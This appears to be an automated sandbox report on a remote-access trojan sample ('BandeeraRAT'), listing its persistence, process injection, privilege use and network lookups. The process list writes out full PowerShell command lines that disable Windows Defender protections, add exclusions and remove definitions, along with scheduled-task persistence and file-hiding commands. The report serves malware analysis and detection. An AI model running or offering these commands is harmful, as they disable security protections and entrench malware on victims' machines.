Key value queried \REGISTRY\USER\S-1-5-21-2727153400-192325109-1870347593-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2727153400-192325109-1870347593-1000\Control Panel\International\Geo\Nation C:\ProgramData\Cheat.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2727153400-192325109-1870347593-1000\Control Panel\International\Geo\Nation C:\ProgramData\XClient.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2727153400-192325109-1870347593-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchоst = "C:\\ProgramData\\svchоst.exe" C:\ProgramData\XClient.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A
N/A N/A C:\Windows\System32\schtasks.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Enumerates processes with tasklist

Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2727153400-192325109-1870347593-1000_Classes\Local Settings C:\Windows\system32\cmd.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeRestorePrivilege N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: 35 N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\sisk.exe N/A
Token: SeDebugPrivilege N/A C:\ProgramData\XClient.exe N/A
Token: SeDebugPrivilege N/A C:\ProgramData\Cheat.exe N/A
Token: SeDebugPrivilege N/A C:\ProgramData\Fluxus V7.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\ProgramData\XClient.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1164 wrote to memory of 2400 N/A C:\Windows\system32\cmd.exe C:\Program Files\7-Zip\7zFM.exe
PID 1164 wrote to memory of 2400 N/A C:\Windows\system32\cmd.exe C:\Program Files\7-Zip\7zFM.exe
PID 2400 wrote to memory of 4780 N/A C:\Program Files\7-Zip\7zFM.exe C:\Users\Admin\AppData\Local\Temp\7zO069F45A8\BandeeraRAT By Donbas.exe
PID 2400 wrote to memory of 4780 N/A C:\Program Files\7-Zip\7zFM.exe C:\Users\Admin\AppData\Local\Temp\7zO069F45A8\BandeeraRAT By Donbas.exe
PID 4780 wrote to memory of 1672 N/A C:\Users\Admin\AppData\Local\Temp\7zO069F45A8\BandeeraRAT By Donbas.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 4780 wrote to memory of 1672 N/A C:\Users\Admin\AppData\Local\Temp\7zO069F45A8\BandeeraRAT By Donbas.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 4780 wrote to memory of 4776 N/A C:\Users\Admin\AppData\Local\Temp\7zO069F45A8\BandeeraRAT By Donbas.exe C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe
PID 4780 wrote to memory of 4776 N/A C:\Users\Admin\AppData\Local\Temp\7zO069F45A8\BandeeraRAT By Donbas.exe C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe
PID 1672 wrote to memory of 4720 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 1672 wrote to memory of 4720 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 1672 wrote to memory of 4360 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 1672 wrote to memory of 4360 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 4776 wrote to memory of 4148 N/A C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe
PID 4776 wrote to memory of 4148 N/A C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe
PID 4776 wrote to memory of 3512 N/A C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe C:\Users\Admin\AppData\Local\Temp\sisk.exe
PID 4776 wrote to memory of 3512 N/A C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe C:\Users\Admin\AppData\Local\Temp\sisk.exe
PID 4720 wrote to memory of 1496 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 4720 wrote to memory of 1496 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 4720 wrote to memory of 3180 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 4720 wrote to memory of 3180 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 4148 wrote to memory of 3812 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\XClient.exe
PID 4148 wrote to memory of 3812 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\XClient.exe
PID 4148 wrote to memory of 5000 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Cheat.exe
PID 4148 wrote to memory of 5000 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Cheat.exe
PID 4148 wrote to memory of 5000 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Cheat.exe
PID 1496 wrote to memory of 4608 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 1496 wrote to memory of 4608 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 4148 wrote to memory of 3700 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Built.exe
PID 4148 wrote to memory of 3700 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Built.exe
PID 3700 wrote to memory of 3904 N/A C:\ProgramData\Built.exe C:\ProgramData\Built.exe
PID 3700 wrote to memory of 3904 N/A C:\ProgramData\Built.exe C:\ProgramData\Built.exe
PID 4148 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Fluxus V7.exe
PID 4148 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Fluxus V7.exe
PID 4148 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Fluxus V7.exe
PID 1496 wrote to memory of 4472 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 1496 wrote to memory of 4472 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 4608 wrote to memory of 4300 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 4608 wrote to memory of 4300 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 3904 wrote to memory of 3016 N/A C:\ProgramData\Built.exe C:\Windows\system32\cmd.exe
PID 3904 wrote to memory of 3016 N/A C:\ProgramData\Built.exe C:\Windows\system32\cmd.exe
PID 3904 wrote to memory of 1952 N/A C:\ProgramData\Built.exe C:\Windows\system32\cmd.exe
PID 3904 wrote to memory of 1952 N/A C:\ProgramData\Built.exe C:\Windows\system32\cmd.exe
PID 4608 wrote to memory of 2484 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 4608 wrote to memory of 2484 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 3904 wrote to memory of 2124 N/A C:\ProgramData\Built.exe C:\Windows\system32\cmd.exe
PID 3904 wrote to memory of 2124 N/A C:\ProgramData\Built.exe C:\Windows\system32\cmd.exe
PID 2124 wrote to memory of 456 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 2124 wrote to memory of 456 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 3016 wrote to memory of 2100 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3016 wrote to memory of 2100 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1952 wrote to memory of 4764 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1952 wrote to memory of 4764 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3904 wrote to memory of 5436 N/A C:\ProgramData\Built.exe C:\Windows\system32\cmd.exe
PID 3904 wrote to memory of 5436 N/A C:\ProgramData\Built.exe C:\Windows\system32\cmd.exe
PID 3812 wrote to memory of 5608 N/A C:\ProgramData\XClient.exe C:\Windows\System32\schtasks.exe
PID 3812 wrote to memory of 5608 N/A C:\ProgramData\XClient.exe C:\Windows\System32\schtasks.exe
PID 5000 wrote to memory of 5624 N/A C:\ProgramData\Cheat.exe C:\Users\Admin\AppData\Local\Temp\Windows.exe
PID 5000 wrote to memory of 5624 N/A C:\ProgramData\Cheat.exe C:\Users\Admin\AppData\Local\Temp\Windows.exe
PID 5000 wrote to memory of 5624 N/A C:\ProgramData\Cheat.exe C:\Users\Admin\AppData\Local\Temp\Windows.exe
PID 4300 wrote to memory of 5632 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 4300 wrote to memory of 5632 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 4300 wrote to memory of 5716 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 4300 wrote to memory of 5716 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 5000 wrote to memory of 5752 N/A C:\ProgramData\Cheat.exe C:\Windows\SysWOW64\cmd.exe

Uses Task Scheduler COM API

persistence

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\System32\attrib.exe N/A
N/A N/A C:\Windows\System32\attrib.exe N/A
N/A N/A C:\Windows\System32\attrib.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\Dbug.rar

C:\Program Files\7-Zip\7zFM.exe

"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Dbug.rar"

C:\Users\Admin\AppData\Local\Temp\7zO069F45A8\BandeeraRAT By Donbas.exe

"C:\Users\Admin\AppData\Local\Temp\7zO069F45A8\BandeeraRAT By Donbas.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe

"C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe

"C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe"

C:\Users\Admin\AppData\Local\Temp\sisk.exe

"C:\Users\Admin\AppData\Local\Temp\sisk.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\ProgramData\XClient.exe

"C:\ProgramData\XClient.exe"

C:\ProgramData\Cheat.exe

"C:\ProgramData\Cheat.exe"

C:\ProgramData\Built.exe

"C:\ProgramData\Built.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\ProgramData\Built.exe

"C:\ProgramData\Built.exe"

C:\ProgramData\Fluxus V7.exe

"C:\ProgramData\Fluxus V7.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Built.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Built.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchоst" /tr "C:\ProgramData\svchоst.exe"

C:\Users\Admin\AppData\Local\Temp\Windows.exe

"C:\Users\Admin\AppData\Local\Temp\Windows.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 5 & Del "C:\ProgramData\Cheat.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\sisk.exe'

C:\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

C:\Windows\SysWOW64\choice.exe

choice /C Y /N /D Y /T 5

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Windows\System32\attrib.exe

"C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\svchost"

C:\Windows\System32\attrib.exe

"C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\svchost\$77svchost.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'sisk.exe'

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Windows\System32\attrib.exe

"C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\svchost\$77svchost.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Windows\SYSTEM32\schtasks.exe

"schtasks.exe" /query /TN ssbobr2.0.exe

C:\Windows\SYSTEM32\schtasks.exe

"schtasks.exe" /Create /SC ONCE /TN "ssbobr2.0.exe" /TR "C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe \"\ssbobr2.0.exe\" /AsAdmin" /ST 00:01 /IT /F /RL HIGHEST

C:\Windows\SYSTEM32\schtasks.exe

"schtasks.exe" /query /TN ssbobr2.0.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp9C17.tmp.bat""

C:\Windows\system32\timeout.exe

timeout 3

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\svchost\$77svchost.exe

"C:\Users\Admin\svchost\$77svchost.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 1.181.190.20.in-addr.arpa udp
US 8.8.8.8:53 209.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 104.241.123.92.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
